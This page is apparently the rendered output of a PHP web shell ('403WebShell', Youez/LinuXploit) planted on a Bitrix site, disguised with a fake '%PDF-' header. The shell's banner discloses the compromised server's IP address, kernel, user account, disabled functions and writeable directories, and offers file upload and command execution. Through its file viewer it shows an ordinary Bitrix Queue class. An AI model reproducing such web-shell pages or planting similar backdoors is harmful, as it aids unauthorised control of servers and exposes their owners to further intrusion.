%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.218.37.5
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sender/lib/internals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sender/lib/internals//queue.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage crm
 * @copyright 2001-2016 Bitrix
 */
namespace Bitrix\Sender\Internals;

use Bitrix\Main\Application;
use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\ModuleManager;
use Bitrix\Main\UserTable;

use Bitrix\Sender\Internals\Model\QueueTable;

Loc::loadMessages(__FILE__);

/**
 * Class Queue
 *
 * @package Bitrix\Sender\Internals
 */
class Queue
{
	protected $list = [];
	protected $lastItem = null;
	protected $previousStack = [];
	protected $isLastItemRestored = false;
	protected $type = null;
	protected $id = null;

	protected $isWorkTimeCheckEnabled = false;
	protected $isUserCheckEnabled = false;
	protected $isAutoSaveEnabled = true;

	/**
	 * Queue constructor.
	 *
	 * @param string $type Type.
	 * @param string $id ID.
	 * @param array $list List.
	 */
	public function __construct($type, $id, array $list = [])
	{
		$this->type = $type;
		$this->setId($id);
		$this->setValues($list);
	}

	/**
	 * Save last item automatically.
	 *
	 * @return $this
	 */
	public function disableAutoSave()
	{
		$this->isAutoSaveEnabled = false;
		return $this;
	}

	/**
	 * Enable work time checking.
	 *
	 * @return $this
	 */
	public function enableWorkTimeCheck()
	{
		$this->isWorkTimeCheckEnabled = true;
		return $this;
	}

	/**
	 * Return true if user checking enabled.
	 *
	 * @return $this
	 */
	public function enableUserCheck()
	{
		$this->isUserCheckEnabled = true;
		return $this;
	}

	/**
	 * Return true if work time checking enabled.
	 *
	 * @return bool
	 */
	public function isWorkTimeCheckEnabled()
	{
		return $this->isWorkTimeCheckEnabled;
	}

	/**
	 * Get ID.
	 *
	 * @return null|string
	 */
	public function getId()
	{
		return $this->id;
	}

	/**
	 * Set ID.
	 *
	 * @param null|string $id
	 * @return $this
	 */
	public function setId($id)
	{
		$this->id = $id;
		return $this;
	}

	/**
	 * Set list.
	 *
	 * @param array $list List.
	 * @return $this
	 */
	public function setValues(array $list)
	{
		$this->list = $list;
		$this->previousStack = [];
		return $this;
	}

	/**
	 * Get list.
	 *
	 * @return array
	 */
	public function getValues()
	{
		return $this->list;
	}

	/**
	 * Remove data from DB by type and ID.
	 *
	 * @return $this
	 */
	public function delete()
	{
		QueueTable::delete(['ENTITY_TYPE' => $this->type, 'ENTITY_ID' => $this->id]);
		return $this;
	}

	/**
	 * Return true if wirk time is supported.
	 *
	 * @return bool
	 */
	public static function isSupportedWorkTime()
	{
		return ModuleManager::isModuleInstalled('timeman');
	}

	/**
	 * Get last used item from list.
	 *
	 * @return null|string
	 */
	public function current()
	{
		if (!$this->isLastItemRestored)
		{
			$this->restore();
			$this->isLastItemRestored = true;
		}

		return $this->lastItem;
	}

	/**
	 * Save last item to DB.
	 *
	 * @return $this
	 */
	public function save()
	{
		$sqlHelper = Application::getConnection()->getSqlHelper();
		$type = $sqlHelper->forSql($this->type);
		$id = $sqlHelper->forSql($this->id);
		$item = $sqlHelper->forSql($this->current());
		if ($item)
		{
			$tableName = QueueTable::getTableName();
			$sql = "INSERT IGNORE $tableName(ENTITY_TYPE, ENTITY_ID, LAST_ITEM) "
				. "VALUES('$type', '$id', '$item') "
				. "ON DUPLICATE KEY UPDATE LAST_ITEM = '$item' ";
			Application::getConnection()->query($sql);
		}
		else
		{
			$this->delete();
		}

		return $this;
	}

	/**
	 * Restore last item from DB.
	 *
	 * @return $this
	 */
	public function restore()
	{
		$row = QueueTable::getRow([
			'select' => ['LAST_ITEM'],
			'filter' => ['=ENTITY_TYPE' => $this->type, '=ENTITY_ID' => $this->id]
		]);
		$this->setLastItem($row ? $row['LAST_ITEM'] : null);

		return $this;
	}

	/**
	 * Return next item from list.
	 * Save item to DB if $isAutoSaveEnabled is true.
	 * Check item as User if $isUserCheckEnabled is true.
	 * Check item for work time if $isWorkTimeCheckEnabled is true.
	 *
	 * @return string|null
	 */
	public function next()
	{
		if (count($this->list) == 0)
		{
			return null;
		}

		$nextItem = null;
		$reservedItem = null;
		$list = $this->getStack();
		foreach ($list as $item)
		{
			if ($this->isUserCheckEnabled && !$this->checkUser($item))
			{
				continue;
			}

			if ($this->isWorkTimeCheckEnabled && !$this->checkUserWorkTime($item))
			{
				if (!$reservedItem)
				{
					$reservedItem = $item;
				}

				continue;
			}

			$nextItem = $item;
			break;
		}

		if (!$nextItem)
		{
			$nextItem = $reservedItem ? $reservedItem : $list[0];
		}

		$this->setLastItem($nextItem);

		if ($this->isAutoSaveEnabled)
		{
			$this->save();
		}

		return $nextItem;
	}

	/**
	 * Return previous used item.
	 * Stack of previous items is limited by 3 values.
	 *
	 * @return string|null
	 */
	public function previous()
	{
		if (count($this->previousStack) === 0)
		{
			$this->isLastItemRestored = false;
			$this->lastItem = null;
		}
		else
		{
			$this->lastItem = array_pop($this->previousStack);
		}

		return $this->lastItem;
	}

	protected function setLastItem($item)
	{
		if ($this->lastItem)
		{
			if (count($this->previousStack) >= 3)
			{
				array_shift($this->previousStack);
			}
			array_push($this->previousStack, $this->lastItem);
		}
		$this->lastItem = $item;

		return $this;
	}

	protected function getStack()
	{
		if (!$this->current() || !in_array($this->current(), $this->list))
		{
			return $this->list;
		}

		$lastPosition = array_search($this->current(), $this->list);
		$lastPosition++;
		if ($lastPosition >= count($this->list))
		{
			$lastPosition = 0;
		}
		$list = array_slice($this->list, $lastPosition);
		if ($lastPosition > 0)
		{
			$list = array_merge(
				$list,
				array_slice($this->list, 0, $lastPosition)
			);
		}

		return $list;
	}

	protected static function checkUser($userId)
	{
		if (!is_numeric($userId))
		{
			return false;
		}

		$row = UserTable::getRowById($userId);
		return is_array($row);
	}

	protected static function checkUserWorkTime($userId)
	{
		if (!self::isSupportedWorkTime())
		{
			return true;
		}

		if (!Loader::includeModule('timeman'))
		{
			return true;
		}

		$timeManUser = new \CTimeManUser($userId);
		$timeManSettings = $timeManUser->GetSettings(Array('UF_TIMEMAN'));
		if (!$timeManSettings['UF_TIMEMAN'])
		{
			$result = true;
		}
		else
		{
			$timeManUser->GetCurrentInfo(true); // need for reload cache

			if ($timeManUser->State() == 'OPENED')
			{
				$result = true;
			}
			else
			{
				$result = false;
			}
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit